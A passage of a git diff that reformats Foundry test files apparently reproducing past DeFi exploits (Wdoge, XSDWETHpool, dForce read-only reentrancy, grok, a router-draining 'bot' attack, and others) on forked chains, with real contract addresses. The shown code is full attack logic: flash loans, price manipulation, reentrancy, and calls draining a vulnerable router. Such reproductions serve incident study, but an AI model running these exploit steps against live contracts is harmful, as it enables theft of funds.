Uni_Router_V2 Router = Uni_Router_V2(0xD48745E39BbED146eEC15b79cBF964884F9877c2); // WS router WUSDMASTER Master = WUSDMASTER(0xa79Fe386B88FBee6e492EEb76Ec48517d1eC759a); - uint Pair1Amount; + uint256 Pair1Amount; CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); function setUp() public { - cheats.createSelectFork("bsc", 9728755); + cheats.createSelectFork("bsc", 9_728_755); } - function testExploit() public{ + function testExploit() public { // borrow WUSD Pair1Amount = WUSD.balanceOf(address(Pair1)) - 1; Pair1.swap(Pair1Amount, 0, address(this), new bytes(1)); // WUSD to BUSD - WUSD.approve(address(Router), type(uint).max); + WUSD.approve(address(Router), type(uint256).max); WUSDToBUSD(); - emit log_named_decimal_uint( - "Attacker BUSD profit after exploit", - BUSD.balanceOf(address(this)), - 18 - ); + emit log_named_decimal_uint("Attacker BUSD profit after exploit", BUSD.balanceOf(address(this)), 18); } function waultSwapCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { - WUSD.approve(address(Master), type(uint).max); + WUSD.approve(address(Master), type(uint256).max); // WUSD to USDT, WEX Master.redeem(WUSD.balanceOf(address(this))); Pair2.swap(40_000_000 * 1e18, 0, address(this), new bytes(1)); - WUSD.transfer(address(Pair1), Pair1Amount * 10000 / 9975 + 1000); + WUSD.transfer(address(Pair1), Pair1Amount * 10_000 / 9975 + 1000); } function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { - USDT.approve(address(Master), type(uint).max); - USDT.approve(address(Router), type(uint).max); + USDT.approve(address(Master), type(uint256).max); + USDT.approve(address(Router), type(uint256).max); // USDT to WEX USDTToWEX(); // stake to change Pair - uint stakeAmout = 250_000 * 1e18; + uint256 stakeAmout = 250_000 * 1e18; // Master.maxmaxStakeAmount(); - for(uint i = 0; i < 68; i++){ + for (uint256 i = 0; i < 68; i++) { Master.stake(stakeAmout); } // WEX to USDT - WEX.approve(address(Router), type(uint).max); + WEX.approve(address(Router), type(uint256).max); WEXToUSDT(); USDT.transfer(address(Pair2), 40_121_000 * 1e18); } function USDTToWEX() internal { - address [] memory path = new address[](2); + address[] memory path = new address[](2); path[0] = address(USDT); path[1] = address(WEX); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - 23_000_000 * 1e18, - 0, - path, - address(this), - block.timestamp + 23_000_000 * 1e18, 0, path, address(this), block.timestamp ); } function WEXToUSDT() internal { - address [] memory path = new address[](2); + address[] memory path = new address[](2); path[0] = address(WEX); path[1] = address(USDT); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - WEX.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + WEX.balanceOf(address(this)), 0, path, address(this), block.timestamp ); } function WUSDToBUSD() internal { - address [] memory path = new address[](2); + address[] memory path = new address[](2); path[0] = address(WUSD); path[1] = address(BUSD); Router.swapExactTokensForTokensSupportingFeeOnTransferTokens( - WUSD.balanceOf(address(this)), - 0, - path, - address(this), - block.timestamp + WUSD.balanceOf(address(this)), 0, path, address(this), block.timestamp ); } } diff --git a/src/test/Wdoge_exp.sol b/src/test/Wdoge_exp.sol index b333cedd..cb98c24f 100644 --- a/src/test/Wdoge_exp.sol +++ b/src/test/Wdoge_exp.sol @@ -32,6 +32,6 @@ contract ContractTest is DSTest { wbnb.transfer(BUSDT_WBNB_Pair, 2908 ether); emit log_named_uint( "After repaying flashswap, Profit: WBNB balance of attacker", wbnb.balanceOf(address(this)) / 1e18 - ); + ); } } diff --git a/src/test/XSDWETHpool_exp.sol b/src/test/XSDWETHpool_exp.sol index b619a8f2..8a2ade11 100644 --- a/src/test/XSDWETHpool_exp.sol +++ b/src/test/XSDWETHpool_exp.sol @@ -20,23 +20,23 @@ import "./interface.sol"; // invoke function burnpoolXSD() after executing TransferHelper.safeTransferETH(); interface IXSD is IERC20 { - function burnpoolXSD(uint _xsdamount) external; + function burnpoolXSD(uint256 _xsdamount) external; } interface IXSDRouter { - function swapXSDForETH(uint amountOut, uint amountInMax) external; - function swapETHForBankX(uint amountOut) external payable; + function swapXSDForETH(uint256 amountOut, uint256 amountInMax) external; + function swapETHForBankX(uint256 amountOut) external payable; } interface IXSDWETHpool { function PERMIT_TYPEHASH() external pure returns (bytes32); - function nonces(address owner) external view returns (uint); + function nonces(address owner) external view returns (uint256); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); - function price0CumulativeLast() external view returns (uint); - function price1CumulativeLast() external view returns (uint); - function kLast() external view returns (uint); - function collatDollarBalance() external returns (uint); - function swap(uint amount0Out, uint amount1Out, address to) external; + function price0CumulativeLast() external view returns (uint256); + function price1CumulativeLast() external view returns (uint256); + function kLast() external view returns (uint256); + function collatDollarBalance() external returns (uint256); + function swap(uint256 amount0Out, uint256 amount1Out, address to) external; function skim(address to) external; function sync() external; } @@ -46,15 +46,9 @@ interface IPIDController { } interface IDPPAdvanced { - function flashLoan( - uint256 baseAmount, - uint256 quoteAmount, - address assetTo, - bytes calldata data - ) external; + function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external; } - contract ContractTest is Test { IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c)); IDPPOracle DPPOracle = IDPPOracle(0xFeAFe253802b77456B4627F8c2306a9CeBb5d681); @@ -64,14 +58,14 @@ contract ContractTest is Test { IXSDWETHpool XSDWETHpool = IXSDWETHpool(0xbfBcB8BDE20cc6886877DD551b337833F3e0d96d); IPIDController PIDController = IPIDController(0x82a6405B9C38Eb1d012c7B06642dcb3D7792981B); - uint baseAmount = 3_000_000_000_000_000_000_000; - uint moreAmount = 1_000_000_000_000_000_000_000; - uint attackAmount = 3_800_000_000_000_000_000_000; - uint swapAmount = 263_932_735_529_288_914_857_295; - uint exploitAmount = 56_964_339_410_199_718_035; + uint256 baseAmount = 3_000_000_000_000_000_000_000; + uint256 moreAmount = 1_000_000_000_000_000_000_000; + uint256 attackAmount = 3_800_000_000_000_000_000_000; + uint256 swapAmount = 263_932_735_529_288_914_857_295; + uint256 exploitAmount = 56_964_339_410_199_718_035; function setUp() public { - vm.createSelectFork("bsc", 32086901 - 1); + vm.createSelectFork("bsc", 32_086_901 - 1); vm.label(address(WBNB), "WBNB"); vm.label(address(DPPOracle), "DPPOracle"); vm.label(address(DPPAdvance), "DPPAdvance"); @@ -83,23 +77,23 @@ contract ContractTest is Test { approveAll(); } - function testExploit() external{ - uint startBNB = WBNB.balanceOf(address(this)); + function testExploit() external { + uint256 startBNB = WBNB.balanceOf(address(this)); console.log("Before Start: %d BNB", startBNB); DPPOracle.flashLoan(baseAmount, 0, address(this), abi.encode(baseAmount)); - uint intRes = WBNB.balanceOf(address(this))/1 ether; - uint decRes = WBNB.balanceOf(address(this)) - intRes * 1e18; + uint256 intRes = WBNB.balanceOf(address(this)) / 1 ether; + uint256 decRes = WBNB.balanceOf(address(this)) - intRes * 1e18; console.log("Attack Exploit: %s.%s BNB", intRes, decRes); } - function DPPFlashLoanCall(address sender, uint amount, uint quoteAmount, bytes calldata data) external { + function DPPFlashLoanCall(address sender, uint256 amount, uint256 quoteAmount, bytes calldata data) external { if (abi.decode(data, (uint256)) == baseAmount) { DPPAdvance.flashLoan(moreAmount, 0, address(this), abi.encode(moreAmount)); WBNB.transfer(address(DPPOracle), baseAmount); - }else{ - uint amountOut = 9_840_000_000_000_000_000; + } else { + uint256 amountOut = 9_840_000_000_000_000_000; Router.swapXSDForETH(amountOut, XSD.balanceOf(address(this))); XSD.transfer(address(XSDWETHpool), swapAmount); XSDWETHpool.swap(0, attackAmount + exploitAmount, address(this)); @@ -107,11 +101,11 @@ contract ContractTest is Test { } } - fallback() payable external { + fallback() external payable { WBNB.transfer(address(XSDWETHpool), attackAmount); XSDWETHpool.swap(swapAmount, 0, address(this)); PIDController.systemCalculations(); - Router.swapETHForBankX{value:1_000_000_000_000}(100); + Router.swapETHForBankX{value: 1_000_000_000_000}(100); } function approveAll() internal { diff --git a/src/test/XaveFinance_exp.sol b/src/test/XaveFinance_exp.sol index b044fe96..48c981a6 100644 --- a/src/test/XaveFinance_exp.sol +++ b/src/test/XaveFinance_exp.sol @@ -130,7 +130,7 @@ contract XaveFinanceExploit is DSTest { emit log_named_address("[Before proposal Execution] Owner of PrimaryBridge: ", PrimaryBridge.owner()); emit log_named_uint( "[Before proposal Execution] Attacker's $RNBW Token Balance: ", RNBW.balanceOf(attacker) / 1 ether - ); + ); cheats.startPrank(attackerContract); //Execute mint 100000000000000 $RNBW tokens @@ -189,6 +189,6 @@ contract XaveFinanceExploit is DSTest { emit log_named_address("[After proposal Execution] Owner of PrimaryBridge: ", PrimaryBridge.owner()); emit log_named_uint( "[After proposal Execution] Attacker's $RNBW Token Balance: ", RNBW.balanceOf(attacker) / 1 ether - ); + ); } } diff --git a/src/test/ZABU_exp.sol b/src/test/ZABU_exp.sol index ca1fc1e7..c89e325c 100644 --- a/src/test/ZABU_exp.sol +++ b/src/test/ZABU_exp.sol @@ -104,7 +104,7 @@ contract ContractTest is DSTest { emit log_named_decimal_uint( "Attacker WAVAX profit after exploit", WAVAX.balanceOf(addressContract) - 2500 * 1e18, 18 - ); + ); } function pangolinCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { diff --git a/src/test/ZoomproFinance_exp.sol b/src/test/ZoomproFinance_exp.sol index fa0cd33e..c3a1f0ea 100644 --- a/src/test/ZoomproFinance_exp.sol +++ b/src/test/ZoomproFinance_exp.sol @@ -50,7 +50,7 @@ contract ContractTest is DSTest { emit log_named_decimal_uint( "[End] After repay, Profit: USDT balance of attacker", Usdt.balanceOf(address(this)), 18 - ); + ); } function pancakeCall(address sender, uint256 amount0, uint256 amount1, bytes calldata data) public { @@ -67,13 +67,13 @@ contract ContractTest is DSTest { n2[0] = 1_000_000 ether; emit log_named_decimal_uint( "Before manipulate price, Fake USDT balance of pair:", IERC20(fUSDT).balanceOf(address(pp)), 18 - ); + ); emit log_named_decimal_uint("Before manipulate price, Zoom balance of pair:", Zoom.balanceOf(address(pp)), 18); IUSD(batch).batchToken(n1, n2, fUSDT); emit log_named_decimal_uint( "After manipulate price, Fake USDT balance of pair:", IERC20(fUSDT).balanceOf(address(pp)), 18 - ); + ); emit log_named_decimal_uint("After manipulate price, Zoom balance of pair:", Zoom.balanceOf(address(pp)), 18); // calling pair Fake USDT-Zoom sync() to update latest price diff --git a/src/test/bot_exp.sol b/src/test/bot_exp.sol index 400efc3f..cfeb19a1 100644 --- a/src/test/bot_exp.sol +++ b/src/test/bot_exp.sol @@ -12,18 +12,13 @@ import "./interface.sol"; // @Analysis // https://twitter.com/BlockSecTeam/status/1722101942061601052 -interface ISmartVaultManagerV2{ - function mint()external; +interface ISmartVaultManagerV2 { + function mint() external; function swap(bytes32 _inToken, bytes32 _outToken, uint256 _amount) external; } -interface ICurve{ - function exchange( - uint256 i, - uint256 j, - uint256 dx, - uint256 min_dy - ) external; +interface ICurve { + function exchange(uint256 i, uint256 j, uint256 dx, uint256 min_dy) external; } interface ISwapFlashLoan { @@ -40,6 +35,7 @@ contract ContractTest is Test { ICurve firstCrvPool = ICurve(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7); ICurve secondCrvPool = ICurve(0xD51a44d3FaE010294C616388b506AcdA1bfAAE46); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + struct ExactInputSingleParams { address tokenIn; address tokenOut; @@ -49,43 +45,78 @@ contract ContractTest is Test { uint256 amountOutMinimum; uint160 limitSqrtPrice; } + function setUp() public { - vm.createSelectFork("mainnet", 18523344 - 1); - cheats.label(address(weth),"WETH"); - cheats.label(address(secondCrvPool),'Curve.fi: USDT/WBTC/WETH Pool'); + vm.createSelectFork("mainnet", 18_523_344 - 1); + cheats.label(address(weth), "WETH"); + cheats.label(address(secondCrvPool), "Curve.fi: USDT/WBTC/WETH Pool"); } - function testExpolit()public{ - emit log_named_decimal_uint("attacker balance before attack",weth.balanceOf(address(this)),weth.decimals()); - aave.flashLoanSimple(address(this),address(weth),27255000000000000000000,new bytes(1), 0); - emit log_named_decimal_uint("attacker balance after attack",weth.balanceOf(address(this)),weth.decimals()); + function testExpolit() public { + emit log_named_decimal_uint("attacker balance before attack", weth.balanceOf(address(this)), weth.decimals()); + + aave.flashLoanSimple(address(this), address(weth), 27_255_000_000_000_000_000_000, new bytes(1), 0); + emit log_named_decimal_uint("attacker balance after attack", weth.balanceOf(address(this)), weth.decimals()); } + function executeOperation( address asset, uint256 amount, uint256 premium, address initator, bytes calldata params - ) external payable returns (bool){ - weth.approve(address(aave),type(uint).max); + ) external payable returns (bool) { + weth.approve(address(aave), type(uint256).max); bytes4 vulnFunctionSignature = hex"f6ebebbb"; - bytes memory data = abi.encodeWithSelector(vulnFunctionSignature, usdc.balanceOf(address(router)),0,address(usdc),address(usdt),address(firstCrvPool), 0,0); - (bool success,bytes memory result) = address(router).call(data); - data = abi.encodeWithSelector(vulnFunctionSignature, usdt.balanceOf(address(router)),0,address(usdt),address(weth),address(secondCrvPool), 0,0); - (success,result) = address(router).call(data); - data = abi.encodeWithSelector(vulnFunctionSignature, wbtc.balanceOf(address(router)),0,address(wbtc),address(weth),address(secondCrvPool), 0,0); - (success,result) = address(router).call(data); + bytes memory data = abi.encodeWithSelector( + vulnFunctionSignature, + usdc.balanceOf(address(router)), + 0, + address(usdc), + address(usdt), + address(firstCrvPool), + 0, + 0 + ); + (bool success, bytes memory result) = address(router).call(data); + data = abi.encodeWithSelector( + vulnFunctionSignature, + usdt.balanceOf(address(router)), + 0, + address(usdt), + address(weth), + address(secondCrvPool), + 0, + 0 + ); + (success, result) = address(router).call(data); + data = abi.encodeWithSelector( + vulnFunctionSignature, + wbtc.balanceOf(address(router)), + 0, + address(wbtc), + address(weth), + address(secondCrvPool), + 0, + 0 + ); + (success, result) = address(router).call(data); - weth.approve(address(secondCrvPool),type(uint).max); - secondCrvPool.exchange(2,1,weth.balanceOf(address(this)),0); - data = abi.encodeWithSelector(vulnFunctionSignature, weth.balanceOf(address(router)),0,address(weth),address(wbtc),address(secondCrvPool), 0,0); - (success,result) = address(router).call(data); - wbtc.approve(address(secondCrvPool),type(uint).max); - secondCrvPool.exchange(1,2,wbtc.balanceOf(address(this)),0); + weth.approve(address(secondCrvPool), type(uint256).max); + secondCrvPool.exchange(2, 1, weth.balanceOf(address(this)), 0); + data = abi.encodeWithSelector( + vulnFunctionSignature, + weth.balanceOf(address(router)), + 0, + address(weth), + address(wbtc), + address(secondCrvPool), + 0, + 0 + ); + (success, result) = address(router).call(data); + wbtc.approve(address(secondCrvPool), type(uint256).max); + secondCrvPool.exchange(1, 2, wbtc.balanceOf(address(this)), 0); return true; } - - - - } diff --git a/src/test/dForce_exp.sol b/src/test/dForce_exp.sol index b9336128..e03d5585 100644 --- a/src/test/dForce_exp.sol +++ b/src/test/dForce_exp.sol @@ -24,7 +24,10 @@ interface IVWSTETHCRVGAUGE is IERC20 { } interface ICurvePools is ICurvePool { - function remove_liquidity(uint256 token_amount, uint256[2] memory min_amounts) external returns (uint256[2] memory); + function remove_liquidity( + uint256 token_amount, + uint256[2] memory min_amounts + ) external returns (uint256[2] memory); } interface IDForce { @@ -119,13 +122,13 @@ contract ContractTest is Test { "19.swap the USX token to USDC, and swap USDC to WETH, the USDC amount", USDC.balanceOf(address(this)), USDC.decimals() - ); + ); USDC.transfer(address(GMXVault), USDC.balanceOf(address(this))); GMXVault.swap(address(USDC), address(WETH), address(this)); emit log_named_decimal_uint( "20.Attacker WETH balance after exploit", WETH.balanceOf(address(this)), WETH.decimals() - ); + ); } // 1.balancerFlashloan @@ -276,7 +279,7 @@ contract ContractTest is Test { console.log("--------------------------------------------------"); emit log_named_decimal_uint( "10.SwapFlashLoan callback, add liquidity to curve, the ETH amount", ETHBalance, WETH.decimals() - ); + ); uint256 LPAmount = curvePool.add_liquidity{value: ETHBalance}([ETHBalance, 0], 0); USX.approve(address(dForceContract), type(uint256).max); USX.approve(address(VWSTETHCRVGAUGE), type(uint256).max); @@ -285,7 +288,7 @@ contract ContractTest is Test { "11.Transfer wstETHCRV token to exploiter's borrower, token amount", 1_904_761_904_761_904_761_904, WSTETHCRV.decimals() - ); + ); WSTETHCRV.transfer(address(borrower), 1_904_761_904_761_904_761_904); borrower.exec(); uint256 burnAmount = 63_438_591_176_197_540_597_712; @@ -293,7 +296,7 @@ contract ContractTest is Test { "14.Remove liquidity from curve, before reentrancy, the price of VWSTETHCRVGAUGE", PriceOracle.getUnderlyingPrice(address(VWSTETHCRVGAUGE)), VWSTETHCRVGAUGE.decimals() - ); + ); curvePool.remove_liquidity(burnAmount, [uint256(0), uint256(0)]); // curve read-only-reentrancy burnAmount = 2_924_339_222_027_299_635_899; curvePool.remove_liquidity(burnAmount, [uint256(0), uint256(0)]); @@ -309,14 +312,14 @@ contract ContractTest is Test { "15.In reentrancy, the price of VWSTETHCRVGAUGE", PriceOracle.getUnderlyingPrice(address(VWSTETHCRVGAUGE)), VWSTETHCRVGAUGE.decimals() - ); + ); uint256 borrowAmount = dForceContract.borrowBalanceStored(address(borrower)); uint256 Multiplier = cointroller.closeFactorMantissa(); emit log_named_decimal_uint( "16.liquidate the exploiter's borrower, the borrowAmount of exploiter", borrowAmount, VWSTETHCRVGAUGE.decimals() - ); + ); cointroller.liquidateCalculateSeizeTokens( address(dForceContract), address(VWSTETHCRVGAUGE), borrowAmount * Multiplier / 1e18 ); @@ -326,7 +329,7 @@ contract ContractTest is Test { "17.liquidate the victim's borrower, the borrowAmount of victim", borrowAmount, VWSTETHCRVGAUGE.decimals() - ); + ); console.log("--------------------------------------------------"); cointroller.liquidateCalculateSeizeTokens( address(dForceContract), address(VWSTETHCRVGAUGE), borrowAmount * Multiplier / 1e18 @@ -337,7 +340,7 @@ contract ContractTest is Test { "18.redeem vwstETHCRV-gauge to wstETHCRV-gauge and withdraw wstETHCRV, the token amount", WSTETHCRVGAUGE.balanceOf(address(this)), WSTETHCRVGAUGE.decimals() - ); + ); WSTETHCRVGAUGE.withdraw(WSTETHCRVGAUGE.balanceOf(address(this))); } } @@ -352,7 +355,7 @@ contract Borrower is Test { function exec() external { emit log_named_decimal_uint( "12.deposit wstETHCRV to wstETHCRV-gauge, token amount", 1_904_761_904_761_904_761_904, WSTETHCRV.decimals() - ); + ); WSTETHCRV.approve(address(WSTETHCRVGAUGE), type(uint256).max); uint256 depositAmount = 1_904_761_904_761_904_761_904; address(WSTETHCRVGAUGE).call(abi.encodeWithSignature("deposit(uint256)", depositAmount)); @@ -367,7 +370,7 @@ contract Borrower is Test { "13.deposit wstETHCRV-gauge to dForce, receive USX token, the token amount", USX.balanceOf(address(this)), USX.decimals() - ); + ); USX.transfer(msg.sender, USX.balanceOf(address(this))); console.log("--------------------------------------------------"); } diff --git a/src/test/grok_exp.sol b/src/test/grok_exp.sol index 7afcc03a..7fc79ec8 100644 --- a/src/test/grok_exp.sol +++ b/src/test/grok_exp.sol @@ -13,9 +13,7 @@ import "./interface.sol"; // @Analysis // https://twitter.com/Phalcon_xyz/status/1722841076120130020 - contract ContractTest is Test { - Uni_Router_V2 router_v2 = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); Uni_Router_V3 router_v3 = Uni_Router_V3(0xE592427A0AEce92De3Edee1F18E0157C05861564); IERC20 grok = IERC20(0x8390a1DA07E376ef7aDd4Be859BA74Fb83aA02D5); @@ -24,56 +22,60 @@ contract ContractTest is Test { Uni_Pair_V3 pair = Uni_Pair_V3(0x66bA59cBD09E75B209D1D7E8Cf97f4Ab34DA413B); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D); + function setUp() public { - vm.createSelectFork("mainnet", 18538679 - 1); - cheats.label(address(weth),"WETH"); + vm.createSelectFork("mainnet", 18_538_679 - 1); + cheats.label(address(weth), "WETH"); } - function testExpolit()public{ - emit log_named_decimal_uint("attaker balance before attack:", weth.balanceOf(address(this)),weth.decimals()); - wethpair.flash(address(this),0,30000000000000000000, new bytes(1)); - emit log_named_decimal_uint("attaker balance after attack:", weth.balanceOf(address(this)),weth.decimals()); + function testExpolit() public { + emit log_named_decimal_uint("attaker balance before attack:", weth.balanceOf(address(this)), weth.decimals()); + wethpair.flash(address(this), 0, 30_000_000_000_000_000_000, new bytes(1)); + emit log_named_decimal_uint("attaker balance after attack:", weth.balanceOf(address(this)), weth.decimals()); } function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external { - if(msg.sender == address(wethpair)){ - pair.flash(address(this),63433590767572373,0,new bytes(1)); - grok.approve(address(router_v3),grok.balanceOf(address(this))); - router_v3.exactInputSingle(Uni_Router_V3.ExactInputSingleParams({ - tokenIn : address(grok), - tokenOut : address(weth), - fee : 10_000, - recipient : address(this), - deadline : block.timestamp + 100, - amountIn : grok.balanceOf(address(this)), - amountOutMinimum : 30 ether, - sqrtPriceLimitX96 : 0 - })); + if (msg.sender == address(wethpair)) { + pair.flash(address(this), 63_433_590_767_572_373, 0, new bytes(1)); + grok.approve(address(router_v3), grok.balanceOf(address(this))); + router_v3.exactInputSingle( + Uni_Router_V3.ExactInputSingleParams({ + tokenIn: address(grok), + tokenOut: address(weth), + fee: 10_000, + recipient: address(this), + deadline: block.timestamp + 100, + amountIn: grok.balanceOf(address(this)), + amountOutMinimum: 30 ether, + sqrtPriceLimitX96: 0 + }) + ); weth.transfer(address(wethpair), 30 ether + uint256(amount1)); - } - else{ - weth.approve(address(router_v2), type(uint).max); - grok.approve(address(router_v2), type(uint).max); - grok.approve(address(router_v3), type(uint).max); + } else { + weth.approve(address(router_v2), type(uint256).max); + grok.approve(address(router_v2), type(uint256).max); + grok.approve(address(router_v3), type(uint256).max); //first step address[] memory path = new address[](2); path[0] = address(grok); path[1] = address(weth); - router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(30695631768482954,0,path,address(this),block.timestamp + 100); - grok.transfer(address(grok),2737958999089419); - router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(30000000000000000,0,path,address(this),block.timestamp + 100); + router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens( + 30_695_631_768_482_954, 0, path, address(this), block.timestamp + 100 + ); + grok.transfer(address(grok), 2_737_958_999_089_419); + router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens( + 30_000_000_000_000_000, 0, path, address(this), block.timestamp + 100 + ); path[0] = address(weth); path[1] = address(grok); - router_v2.swapTokensForExactTokens(64067926675248097,weth.balanceOf(address(this)),path, address(this), block.timestamp + 100); + router_v2.swapTokensForExactTokens( + 64_067_926_675_248_097, weth.balanceOf(address(this)), path, address(this), block.timestamp + 100 + ); grok.transfer(address(pair), grok.balanceOf(address(this))); //second step - router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens(30000000000000000000, 0, path, address(this), block.timestamp + 100); - + router_v2.swapExactTokensForTokensSupportingFeeOnTransferTokens( + 30_000_000_000_000_000_000, 0, path, address(this), block.timestamp + 100 + ); } } - - - - - } diff --git a/src/test/interface.sol b/src/test/interface.sol index bf972edd..b0893670 100644 --- a/src/test/interface.sol +++ b/src/test/interface.sol @@ -384,9 +384,9 @@ interface IUniswapV2Pair { function price0CumulativeLast() external view returns (uint256); function price1CumulativeLast() external view returns (uint256); function balanceOf(address account) external view returns (uint256); - function approve(address spender, uint value) external returns (bool); - function transfer(address to, uint value) external returns (bool); - function transferFrom(address from, address to, uint value) external returns (bool); + function approve(address spender, uint256 value) external returns (bool); + function transfer(address to, uint256 value) external returns (bool); + function transferFrom(address from, address to, uint256 value) external returns (bool); } interface IBacon { @@ -3526,12 +3526,23 @@ interface IAaveFlashloan { ) external; function deposit(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external; - + function supply(address asset, uint256 amount, address onBehalfOf, uint16 referralCode) external; - function borrow(address asset, uint256 amount, uint256 interestRateMode, uint16 referralCode, address onBehalfOf) external; + function borrow( + address asset, + uint256 amount, + uint256 interestRateMode, + uint16 referralCode, + address onBehalfOf + ) external; - function repay(address asset, uint256 amount, uint256 interestRateMode, address onBehalfOf) external returns (uint256); + function repay( + address asset, + uint256 amount, + uint256 interestRateMode, + address onBehalfOf + ) external returns (uint256); function withdraw(address asset, uint256 amount, address to) external returns (uint256); } @@ -4342,8 +4353,14 @@ interface IDODOCallee { // ) external; } -interface IQuoter { - function quoteExactInputSingle(address, address,uint24 fee,uint256 amountIn,uint160 sqrtPriceLimitX96) external returns (uint256); +interface IQuoter { + function quoteExactInputSingle( + address, + address, + uint24 fee, + uint256 amountIn, + uint160 sqrtPriceLimitX96 + ) external returns (uint256); } interface IPoolInitializer { @@ -4355,8 +4372,7 @@ interface IPoolInitializer { ) external payable returns (address pool); } -interface INonfungiblePositionManager is IPoolInitializer{ - +interface INonfungiblePositionManager is IPoolInitializer { event IncreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); event DecreaseLiquidity(uint256 indexed tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); @@ -4398,12 +4414,7 @@ interface INonfungiblePositionManager is IPoolInitializer{ function mint(MintParams calldata params) external payable - returns ( - uint256 tokenId, - uint128 liquidity, - uint256 amount0, - uint256 amount1 - ); + returns (uint256 tokenId, uint128 liquidity, uint256 amount0, uint256 amount1); struct IncreaseLiquidityParams { uint256 tokenId; @@ -4417,11 +4428,7 @@ interface INonfungiblePositionManager is IPoolInitializer{ function increaseLiquidity(IncreaseLiquidityParams calldata params) external payable - returns ( - uint128 liquidity, - uint256 amount0, - uint256 amount1 - ); + returns (uint128 liquidity, uint256 amount0, uint256 amount1); struct DecreaseLiquidityParams { uint256 tokenId; @@ -4443,29 +4450,19 @@ interface INonfungiblePositionManager is IPoolInitializer{ uint128 amount1Max; } - function collect(CollectParams calldata params) external payable returns (uint256 amount0, uint256 amount1); function burn(uint256 tokenId) external payable; } interface IERC4626 is IERC20 { - function deposit(uint256 assets, address receiver) external returns (uint256 shares); function mint(uint256 shares, address receiver) external returns (uint256 assets); - function withdraw( - uint256 assets, - address receiver, - address owner - ) external returns (uint256 shares); + function withdraw(uint256 assets, address receiver, address owner) external returns (uint256 shares); - function redeem( - uint256 shares, - address receiver, - address owner - ) external returns (uint256 assets); + function redeem(uint256 shares, address receiver, address owner) external returns (uint256 assets); function totalAssets() external view returns (uint256); @@ -4488,13 +4485,12 @@ interface IERC4626 is IERC20 { function maxWithdraw(address owner) external view returns (uint256); function maxRedeem(address owner) external view returns (uint256); - } interface IPresaleV4 { function directTotalTokensSold() external view returns (uint256); function maxTokensToSell() external view returns (uint256); - function buyWithEthDynamic(uint256 amount) payable external returns (bool); + function buyWithEthDynamic(uint256 amount) external payable returns (bool); } /// @notice Arithmetic library with operations for fixed-point numbers. @@ -4505,7 +4501,7 @@ library FixedPointMathLib { SIMPLIFIED FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ - uint256 internal constant MAX_UINT256 = 2**256 - 1; + uint256 internal constant MAX_UINT256 = 2 ** 256 - 1; uint256 internal constant WAD = 1e18; // The scalar of ETH and most ERC20s. @@ -4529,34 +4525,22 @@ library FixedPointMathLib { LOW LEVEL FIXED POINT OPERATIONS //////////////////////////////////////////////////////////////*/ - function mulDivDown( - uint256 x, - uint256 y, - uint256 denominator - ) internal pure returns (uint256 z) { + function mulDivDown(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y)) - if iszero(mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y)))))) { - revert(0, 0) - } + if iszero(mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y)))))) { revert(0, 0) } // Divide x * y by the denominator. z := div(mul(x, y), denominator) } } - function mulDivUp( - uint256 x, - uint256 y, - uint256 denominator - ) internal pure returns (uint256 z) { + function mulDivUp(uint256 x, uint256 y, uint256 denominator) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { // Equivalent to require(denominator != 0 && (y == 0 || x <= type(uint256).max / y)) - if iszero(mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y)))))) { - revert(0, 0) - } + if iszero(mul(denominator, iszero(mul(y, gt(x, div(MAX_UINT256, y)))))) { revert(0, 0) } // If x * y modulo the denominator is strictly greater than 0, // 1 is added to round up the division of x * y by the denominator. @@ -4564,11 +4548,7 @@ library FixedPointMathLib { } } - function rpow( - uint256 x, - uint256 n, - uint256 scalar - ) internal pure returns (uint256 z) { + function rpow(uint256 x, uint256 n, uint256 scalar) internal pure returns (uint256 z) { /// @solidity memory-safe-assembly assembly { switch x @@ -4606,9 +4586,7 @@ library FixedPointMathLib { } { // Revert immediately if x ** 2 would overflow. // Equivalent to iszero(eq(div(xx, x), x)) here. - if shr(128, x) { - revert(0, 0) - } + if shr(128, x) { revert(0, 0) } // Store x squared. let xx := mul(x, x) @@ -4617,9 +4595,7 @@ library FixedPointMathLib { let xxRound := add(xx, half) // Revert if xx + half overflowed. - if lt(xxRound, xx) { - revert(0, 0) - } + if lt(xxRound, xx) { revert(0, 0) } // Set x to scaled xxRound. x := div(xxRound, scalar) @@ -4632,18 +4608,14 @@ library FixedPointMathLib { // If z * x overflowed: if iszero(eq(div(zx, x), z)) { // Revert if x is non-zero. - if iszero(iszero(x)) { - revert(0, 0) - } + if iszero(iszero(x)) { revert(0, 0) } } // Round to the nearest number. let zxRound := add(zx, half) // Revert if zx + half overflowed. - if lt(zxRound, zx) { - revert(0, 0) - } + if lt(zxRound, zx) { revert(0, 0) } // Return properly scaled zxRound. z := 